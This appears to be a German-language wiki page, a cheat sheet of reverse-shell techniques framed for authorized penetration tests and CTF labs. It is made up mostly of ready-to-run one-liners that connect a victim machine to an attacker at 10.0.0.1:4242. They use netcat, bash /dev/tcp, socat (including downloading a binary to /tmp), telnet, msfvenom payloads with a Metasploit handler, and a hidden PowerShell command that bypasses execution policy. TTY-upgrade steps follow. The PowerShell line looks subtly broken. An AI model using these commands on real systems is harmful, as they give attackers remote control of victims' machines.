Reverse Shell

Aus Xinux Wiki
Version vom 15. Mai 2026, 08:21 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= Reverse Shell = ;Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut *Im Gegensatz zur Bind Shell wartet nich…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Reverse Shell

Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut
  • Im Gegensatz zur Bind Shell wartet nicht der Angreifer auf eine eingehende Verbindung
  • Das Zielsystem verbindet sich aktiv zum Listener des Angreifers
  • Dadurch werden Firewalls umgangen die eingehende Verbindungen blockieren aber ausgehende erlauben
Normaler Ablauf:
Attacker-Listener (nc -lvp 4242)  ←  Victim verbindet sich

!!Wichtig!!

  • Alle hier beschriebenen Techniken sind ausschließlich für autorisierte Penetrationstests und CTF-Übungen im eigenen Lab
  • Einsatz gegen fremde Systeme ist strafbar (§ 202a StGB)

Listener starten

Auf dem Angreifer-System muss zuerst ein Listener gestartet werden
  • Der Listener wartet auf die eingehende Verbindung vom Opfer-System
nc -lvp 4242

Netcat

Netcat Traditional

Funktioniert wenn netcat mit -e Option kompiliert wurde (z.B. unter Kali)
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242

Netcat OpenBSD

Debian/Ubuntu verwenden standardmäßig netcat-openbsd — dort fehlt die -e Option
  • Workaround über Named Pipe (FIFO)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f

Netcat BusyBox

Auf eingebetteten Systemen (Router, IoT) ist oft nur BusyBox verfügbar
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f

Ncat

Ncat ist die moderne Variante aus dem Nmap-Projekt — unterstützt -e nativ
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash

Bash

Bash TCP

Bash kann direkt über /dev/tcp eine TCP-Verbindung aufbauen — kein externes Tool nötig
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Variante mit explizitem File Descriptor
0<&196; exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Variante mit /bin/bash
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Bash UDP

Listener auf Angreifer-Seite
nc -u -lvp 4242
Auf dem Opfer-System
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Socat

Socat ist mächtiger als netcat und liefert ein vollständiges TTY
Listener auf Angreifer-Seite
socat file:`tty`,raw,echo=0 TCP-L:4242
Auf dem Opfer-System (wenn socat installiert ist)
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Falls socat nicht installiert ist — statisches Binary nachladen
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Telnet

Funktioniert wenn weder netcat noch bash /dev/tcp verfügbar ist
  • Zwei Listener auf dem Angreifer-System nötig
Listener auf Angreifer-Seite (zwei Terminals)
nc -lvp 8080
nc -lvp 8081
Auf dem Opfer-System
telnet <Angreifer-IP> 8080 | /bin/sh | telnet <Angreifer-IP> 8081

Meterpreter via msfvenom

msfvenom generiert Payloads für Metasploit — Listener danach mit multi/handler starten

Staged vs. Stageless

Staged Stageless
Größe Klein (lädt Payload nach) Größer (alles enthalten)
Requires MSF Ja (für Stage 2) Nein
Payload-Name meterpreter/reverse_tcp shell_reverse_tcp
Trennzeichen / (Slash) _ (Underscore)

Windows

Staged reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
Stageless reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Linux

Staged reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf
Stageless reverse TCP
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf
Listener in Metasploit starten
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4242
run

PowerShell

Für Windows-Systeme — Ausführung mit Bypass der Execution Policy
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

TTY Upgrade

Eine Reverse Shell ist oft kein vollständiges TTY — kein Tab-Completion, kein sudo, kein vi
  • Nach dem Verbindungsaufbau TTY upgraden
Python (meist verfügbar)
python3 -c 'import pty; pty.spawn("/bin/bash")'
Danach im gleichen Terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Alternativ mit script
script /dev/null -c bash

Shell stabilisieren

Nach dem TTY-Upgrade Umgebung setzen
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116

Weiterführende Links